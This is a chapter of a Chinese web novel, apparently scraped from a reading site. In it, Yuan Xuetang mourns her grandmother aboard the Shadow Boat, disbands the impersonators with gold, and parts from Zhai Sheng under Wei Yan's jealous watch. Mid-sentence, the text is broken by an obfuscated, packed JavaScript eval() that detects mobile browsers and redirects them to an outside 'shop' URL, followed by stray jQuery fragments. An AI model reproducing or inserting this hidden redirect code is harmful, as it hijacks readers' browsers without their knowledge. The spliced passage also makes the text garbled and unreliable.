元雪棠终于回到了影舫。


    即便是一片萧索阴寂的景象。


    马车停在岸边，元雪棠伸出手示意侯府下人不必跟来，自己却面色发白，轻轻咳嗽了几声。


    片刻后，一方小舟凭波而来，她与那船夫对视一眼，便稳稳地立在船头。


    一袭青衣白氅，渐渐消弭在烟波浩渺的薄雾中。


    元雪棠自己也不知道是如何上的影舫，只觉得是本能在提振着自己向前走，耳边呼啸而过的不是风声，都是从五岁那年始，阿婆与自己在这摇摇晃晃之处的点点滴滴。


    “铃——”


    门内悬挂的铜铃打破了舱内的寂静，一丝青蓝色的光晕随着门缝撒入了空寂的船舱，元雪棠低着头，面如旧雪，吸引了众人的目光。


    她低低头，“诸位，元雪棠来晚了。”


    舱门又被合上，霎时间一切又归于寂静无声，无数目光中，她掠过秉烛的众人，直向人群中央那口硕大的乌木棺材走去。


    每一步，都沉重如斯。


    她弯下双腿，跪在棺旁，双手交叠在窄窄的木楞上，侧过耳朵，恰似听故事的孩童。


    只是这次，讲故事的人沉睡不醒了。


    她觉得不真实，哭不出泪，只是迷惘。直到月月从身后拍了拍自己，递过一柄白色灯烛，她才回过头去。


    瞧着女童的眼眸清澈，元雪棠想到了无数个失去至亲的瞬间，即便那些记忆已不再清晰，有的被封存在火海，有的被堙灭在无声却冷酷的浪涛。


    她终于抑制不住，扑上前去，将女童拥入怀中，双肩颤抖。


    众人闻之无不掩面而泣，眼看着月月就要站不住，元雪棠才发觉自己已然被一人轻轻揽起，靠在那人怀中。


    她抬起头，是一张不再跃然轻松，却依旧青春的少年脸庞。


    “笙哥哥……”


    “我在。”


    翟笙酸着眼眶，拥着她靠在自己肩头，任凭少女的泪水濡湿自己起伏的心口，而自己越过少女泛着余香的发顶，满目悱然地望向棺内不再鲜活的老人。


    “是我出门太久，是我对不起大家……”元雪棠抬起头，满眼泪光，“笙哥哥，你替大家，替阿婆罚我吧。”


    一直未言语的刘锦月越过众人，缓步向前，拍了拍她颤抖的脊背，柔声道：“别说傻话，雪棠付出的够多了，只是生老病死，人间常事啊……”


    翟笙蹙了蹙眉，总觉得“付出”二字有些格外的清晰。


    元雪棠在翟笙心口狠狠抹了把泪，才缓好情绪，转过身来，目光却依旧停留在棺木之上：“刘姨，阿婆……是怎么走的？”


    众人噤声，唯余烛影摇晃。


    江波起伏间，元雪棠坐在那张她从小惯用的木椅上，静静听完了众人口中的全部经过——


    廿二将晚，万籁俱寂，众狐人皆不在舫中，就连一直忙活洒扫的刘锦月也护好了面容，采买物件未回，唯留月月与阿婆在舫中。


    可舫门再开时，便见阿婆躺倒在地，嘴角落血，月月则满脸惊慌，站在一旁，一句话都说不出口。影舫停在江中，上不得旁人，阿婆沉疴多年，想必是脏内沉症，便匆匆请了道观法师，众人问询皆一一赶回，只待她元雪棠回来瞧最后一眼，便可入土为安了。


    元雪棠把脸深深埋在掌心，缓了好一会，才接过了刘锦月手中的香，为阿婆奉上。


    阿婆一生收留众人，传授做狐人之术，虽说身份晦暗不可大操大办，可众人之心已然是再贵重的棺椁丧仪都比不得的珍物。


    狐人的丧仪不便大办，好在是雾霭天，天公垂怜，完全遮盖住了北江这白茫茫的一片，众人再次回到影舫上时，也只在岸边留下了些许纸钱，随波轻晃。


    舱门再次关上，元雪棠立身正中，环视身旁众人，直到目光落在翟笙的眼眸，才心下一稳，沉沉开口：


    “许久未见到大家了，这么多人……就连月月都长大了。”


    “诸位有些是瞧着我长大的，有些是瞧着我做上舫主的，虽说来影舫时日不同，但无一不是受了阿婆重恩，才捡回一条命的，如今阿婆去了，都是自家人，有些话，雪棠要说。”


    众人向前凑了凑，有人去多点了几盏油灯，让舱里更亮了些。


    元雪棠深深吸了口气，才道：“阿婆生前教授你我做狐秘术，你我是术中之人，自是知晓其中的险要与利弊。”


    “你我借他人皮囊，做险事，得钱财，无一日不再提心吊胆，况且借他人一双眼瞧见了这世间的繁华万物，月舞笙歌，人情冷暖，却只能做个过客，丝毫都不能拥有，若说没有‘从良’之心，那是丝毫不可能的。”


    一中年男子忽而拨开人群，赶上前来，怒气冲冲，指着元雪棠的鼻子就叫道：“论做狐人之术，我说元姑娘是做得最像之人，谁敢说一个不字！可元姑娘也是佣金最贵之人，想必是存够了钱，要让我们金盆洗手省的拉你的后腿，好让你和翟公子比翼双飞了？！”


    “你住嘴！”人群中不知是那个女子远远骂了句。


    元雪棠默了默，轻轻拍了拍挡在她面前的翟笙，浅浅一笑，又抬起头，向众人道：“诸位有此心，也是常事，我元雪棠今日既然说出了这些话，自然也是有备而来，大家这么些年情同手足，亲如一家，互相帮衬，论谁，都希望对方过得好些，尽早寻得个能立业的好身份，下船，上岸。”


    众人无声，无声便是肯定。


    翟笙回过头，觉得看不透她。


    沉默间，元雪棠掀开纯白外氅，掏出一袋沉重的物件来。


    霎时间众人又凑上前，而元雪棠面色不改，将那袋子撂在桌上，拉开抽绳，咬了咬唇，终于全然敞开。


    “黄，黄金？！”中年男子看呆了眼，目光久久不移。


    黄澄澄的暗光辉耀，元雪棠捏出一块，转身面对众人：“元雪棠忘不了大家，也希望大家好，阿婆走了，狐人就散了。大家拿好这黄金，做完手上最后一单，置办些查管不严的小生意，或远去他国……总之，忘掉这里的一切，重新开始吧。”


    众人哗然，却不知不觉地排起了队，在元雪棠手中领走碎金后，头也不回地溜出了门，即便有些长情的不愿走，也被元雪棠好生劝了出门。


    翟笙远远望着元雪棠一刻钟都未曾变过的面色，又看着渐渐离去的众人与一开一合的舱门，默默攥紧了拳。


    众人散去，留下的唯有月月，刘锦月，以及远远立在窗下的翟笙。


    元雪棠笑了笑，好心却不舍地将这对母女劝走了，又嘱咐了句找不到住所前，可随时回到影舫。


    只是当刘锦月牵着月月走门口时，月月忽然回过了头，这一回眸，似有许多事要对元雪棠讲。


    元雪棠从未见过月月这一个小姑娘能有此复杂的眼神，可她并未多问，只是站在门口，笑着送别了她。


    船舱关闭，灯火渐熄，影舫内又陷入一片灰暗。


    元雪棠走向翟笙，轻轻地将额头靠在他身前。


    “笙哥哥也要领些黄金再走吗？”


    她抬起头，冰镜般的眼眸带着泪光颤动。


    翟笙心口一痛，将她拥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869713|184683||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    入怀中。


    温热的体温传递，元雪棠合起了眼。


    “这些黄金……”翟笙拍着她后背，小心翼翼。


    “三成是我这些年攒的，七成……是他给的。”


    元雪棠靠着翟笙，隐约察觉到了身旁人有话要说。


    “他是？”翟笙浅浅地问，装作毫不在意，指节却攥得发白。


    “没错。”她抬眼瞧他，“是靖雍侯，是他。”


    “他待你不错。”翟笙悻悻地望了望窗外，“原来弯弓射穿你肩膀的人，也会变了性情吗？”


    他目光下移，落在她的肩膀：“还是说你不痛了，就忘了这一切？”


    元雪棠骤然生出一种说不清道不明的感受，自肩头那道将将长好的伤痕蔓延开来，她从未想过魏琰是从什么时候开始变的，又或是……他从未改变？


    元雪棠摇了摇头，不想将魏琰扯紧二人的对话，正色问他：“阿婆是怎么去的，你们……确定查明白了？”


    翟笙顿时一慌，那日端王让自己回影舫瞧瞧，他还来不及怀疑为何端王知晓影舫，便暗觉不祥穿好了衣衫直向影舫冲去，一推开门，只见月月抱着阿婆哭泣，他心口轰然一阵，自是知晓是谁的手笔了。


    “对，查明白了。”


    翟笙望着江面回答，不敢瞧她。


    又道，“阿婆病的太重了，是我不该……”


    元雪棠相信她的笙哥哥，便又向上蹭了蹭他肩头，以示安抚。


    二人像儿时一般相靠无言，许久，她才走出舱门，甲板上，与翟笙告别。


    临行之际，她整了整翟笙有些不齐的衣襟，唇角轻轻勾起：“笙哥哥的衣服越来越好了。”


    她抬起眼，终究是问出了从她出逃那晚就一直想问他的问题：“所以这些天，你都去了哪里，都在做什么呢？”


    翟笙一时语塞，倒是说出了书院，说出了东晋桃园的新居，却唯独对端王乃至即将被收入房中的宁欢绝口不提。


    “只是这些？”翟笙话毕，元雪棠不知是真的疑惑还是本能，追问了句。


    “我在书院做事繁忙，见的事不多，能说之事，便只有这些了。”


    翟笙挤出笑容，如儿时一般刮了刮她的鼻尖，可看着眼前妆发精致，衣衫素净却精细的元雪棠，有种不欢欣的异样感觉似江上云雾笼在心头。


    翟笙莫名不甚喜欢她这般妆发细致的模样。


    他的手悬在元雪棠耳侧，目光落在她摇曳的发钗，沉了沉眉：“雪棠就算是荆钗布衣也照样漂亮。”


    可发钗终究没能摘下，翟笙摇了摇头，缓缓抱住了她。


    元雪棠还想着阿婆的模样，心中痛郁，亦伸出手自然地回应他。


    “下次回来，笙哥哥要陪我重新开始。”


    少女合上眼，攥紧他身后衣衫，带着泪声悄悄说。


    “一定。”翟笙应下。


    浪潮翻涌，二人不约而同地觉得自己回到了彼时无忧无虑的记忆，以至于浪涛越大，二人反倒不松，一并轻轻啜泣，却也拥得更紧。


    北江岸边，一方马车静静停靠。


    魏琰猛然落手，车厢遁入一片萧索的灰暗。


    他闷着声音静坐，额角抽痛，眼底猩红。


    他想着二人方才自然的亲昵，想着她不抗拒的怀抱，脑海却泛起了她曾被自己紧紧揽在身前的腰肢，软如香酪的耳垂，白若嫩藕的后颈。


    魏琰盯着车帘下那一丝光线凝视良久，直到唇齿间逐渐泛起了血腥气息，他才发觉齿边的软肉被自己咬烂了不小一片。